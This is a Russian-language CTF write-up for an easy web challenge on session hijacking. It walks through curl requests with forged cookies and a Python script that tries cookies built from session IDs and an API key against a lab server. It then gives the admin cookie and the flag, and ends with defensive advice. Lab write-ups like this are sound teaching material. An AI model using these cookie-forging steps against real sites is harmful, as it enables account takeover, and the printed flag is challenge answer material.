Skip to main content

Сессия: writeup

ссылка на задание http://f8tasks.ru/challenges#session-34

Сессия

CategoryWeb
DifficultyEasy
VulnerabilitySession Hijacking
Flagflag{h1j4ck_th3_pl4n3_t0n1ght}

Recon

Нам удалось перехватить весь трафик активных сессий на сайте. Я думаю, что тебе это поможет…

Артефакты: sessions.xml (48 сессий), API-ключ 89d330593...f6176, адрес сайта wsr.gmax.pro:33001.

curl -i http://wsr.gmax.pro:33001/
HTTP/1.1 200 OK
Set-Cookie: s3ssion1d=null
Content-Type: text/html; charset=utf-8

<p>Outdated session</p>

Ключевые наблюдения:

  • Сайт выставляет cookie с именем s3ssion1d — это точка входа.
  • Без правильного значения сервер отвечает Outdated session.
  • Слово «перехватили трафик» указывает: нам не нужен пароль, нужна cookie.

API-ключ из условия — проверяем как cookie напрямую:

curl -i -H 'Cookie: s3ssion1d=89d330593fefbc75a4642b7841c8f39e5349abe1a8cda0afd948b347afaf6176' \
  http://wsr.gmax.pro:33001/

Результат: Outdated session. Вывод: API-ключ сам по себе не является значением cookie — нужно искать дальше.


Session Hijacking

Session Hijacking (угон сессии) — атака, при которой злоумышленник использует чужой идентификатор сессии, чтобы притвориться другим пользователем на сайте.

Аналогия: охранник у двери не смотрит тебе в лицо — он смотрит на бумажку-пропуск в кармане. Эта бумажка и есть cookie s3ssion1d. Тот, у кого правильный пропуск, заходит куда угодно. Ключевой вопрос: в перехваченном трафике есть пропуск с доступом администратора?

XML-файл содержит 48 сессий вида <Session id="..." correlationVector="..." .../>. Первая подозрительная строка:

correlationVector="FehQ+YChVkq6e3iw.0"

Короткая, необычная, похожа на токен. Проверяем:

curl -i -H 'Cookie: s3ssion1d=FehQ+YChVkq6e3iw.0' http://wsr.gmax.pro:33001/
<p>Outdated session</p>

Не то. Следующая гипотеза: cookie собирается из Session id и API-ключа. Проверяем первую сессию:

curl -sS -H 'Cookie: s3ssion1d=37532_35060218'89d330593fefbc75a4642b7841c8f39e5349abe1a8cda0afd948b347afaf6176' \
  http://wsr.gmax.pro:33001/ | grep -oP '(?<=<p>).*?(?=</p>)'
Unauthorized access

Сервер перестал говорить Outdated session и стал говорить Unauthorized access. Это не одно и то же:

  • Outdated session — cookie не распознана вообще.
  • Unauthorized access — cookie выглядит как настоящая, но прав недостаточно.

Формула sid + API_key даёт валидную, но непривилегированную сессию. Нужна именно admin-сессия.

Возвращаемся к XML и ищем прямые следы работы с cookie:

grep -n 's3ssion1d\|cookie\|Replace\|admin' sessions.xml
<Replace cookies_from="s3ssion1d=admin" cookies_to="s3ssion1d=@bank-4dm1n-1337"/>

Вот сердце задачи. Эта запись говорит буквально: была admin-cookie, её заменили на @bank-4dm1n-1337. Авторы не спрятали ответ за слоями криптографии — они положили его прямо в перехваченный трафик.


Exploitation

ШагДействиеКоманда / наблюдение
1Узнать имя cookiecurl -i http://wsr.gmax.pro:33001/Set-Cookie: s3ssion1d=null
2Проверить correlationVectorCookie: s3ssion1d=FehQ+YChVkq6e3iw.0Outdated session
3Проверить sid + API_keyUnauthorized access (валидная, но без прав)
4Найти admin-cookie в XMLgrep -n 'Replace|admin' sessions.xml
5Подставить admin-cookieCookie: s3ssion1d=@bank-4dm1n-1337 → флаг

Root cause — в перехваченном трафике (sessions.xml) сохранилась запись о замене cookie в открытом виде:

<Replace cookies_from="s3ssion1d=admin" cookies_to="s3ssion1d=@bank-4dm1n-1337"/>

Сервер принимает @bank-4dm1n-1337 как признак администратора без какой-либо дополнительной проверки подписи или привязки к контексту.

Правильный подход в реальных системах:

  • Не хранить значения session cookie в логах и файлах трафика — это прямая утечка.
  • Привязывать привилегированную сессию к IP-адресу или User-Agent, чтобы угнанная cookie не сработала в другом контексте.
  • Использовать короткий TTL для admin-сессий и требовать переаутентификацию для критических действий.
  • Хранить роль пользователя на сервере (в БД), а не кодировать её в значении cookie.

Automation

from pathlib import Path
from xml.etree import ElementTree as ET
import re
import urllib.request


API_KEY = "89d330593fefbc75a4642b7841c8f39e5349abe1a8cda0afd948b347afaf6176"
URL = "http://wsr.gmax.pro:33001/"
XML_PATH = Path("sessions.xml")


def load_sessions():
    root = ET.fromstring(XML_PATH.read_text("utf-8", errors="ignore"))
    sessions = []
    for node in root.findall("Session"):
        sessions.append(
            {
                "sid": node.get("id", ""),
                "cv": node.get("correlationVector", ""),
            }
        )
    return sessions


def request(cookie, path="/"):
    req = urllib.request.Request(URL.rstrip("/") + path)
    req.add_header("Cookie", f"s3ssion1d={cookie}")
    with urllib.request.urlopen(req, timeout=8) as response:
        return response.read().decode("utf-8", "ignore"), dict(response.getheaders())


def extract_message(body):
    match = re.search(r"<p>(.*?)</p>", body, re.S)
    return match.group(1).strip() if match else "NO_MESSAGE"


def extract_flag_meta(body):
    match = re.search(r'<meta name="flag" content="(.*?)">', body)
    return match.group(1) if match else "NO_META"


def main():
    sessions = load_sessions()
    print(f"session_count={len(sessions)}")
    # Проверяем каждую сессию по формуле: sid + API_key
    for session in sessions:
        cookie = session["sid"] + API_KEY
        try:
            body, _ = request(cookie)
        except Exception as exc:
            print(f"ERR sid={session['sid']} error={type(exc).__name__}")
            continue
        message = extract_message(body)
        flag_meta = extract_flag_meta(body)
        print(
            " | ".join(
                [
                    f"sid={session['sid']}",
                    f"cv={session['cv']}",
                    f"msg={message}",
                    f"flag={flag_meta}",
                    f"len={len(body)}",
                ]
            )
        )


if __name__ == "__main__":
    main()
python3 solve_session.py
session_count=48
sid=37532_35060218 | cv=FehQ+YChVkq6e3iw.0 | msg=Unauthorized access | flag=denied | len=463
sid=1152_659312    | cv=etfg9ZZTjE6oZX6s.0 | msg=Unauthorized access | flag=denied | len=463
... (48 строк — все Unauthorized access)

Скрипт подтверждает: формула sid + API_key создаёт валидные сессии, но ни одна не даёт флаг. Финальный шаг — admin-cookie из <Replace> в XML:

curl -sS -H 'Cookie: s3ssion1d=@bank-4dm1n-1337' http://wsr.gmax.pro:33001/ \
  | grep -oP '(?<=<p>).*?(?=</p>)'
flag{h1j4ck_th3_pl4n3_t0n1ght}

Key Takeaways

  1. Два разных ответа сервера — два разных состояния. Outdated session означает «не узнаю cookie», Unauthorized access — «узнаю, но прав нет». Умение различать ответы сервера сужает поиск вдвое и показывает, в правильном ли направлении движется атака.

  2. Перехваченный трафик хранит улики в открытом тексте. Логи, XML-дампы и pcap-файлы реальных сессий могут содержать plaintext-значения cookie, токенов и паролей — их нужно читать внимательно, а не только парсить автоматически.

  3. correlationVector — ловушка этой задачи. Короткая необычная строка выглядит как токен, но сервер её не принял. Типичная ошибка — застрять на «красивой» строке вместо того, чтобы сразу искать ключевые слова Replace, cookie, admin в том же файле.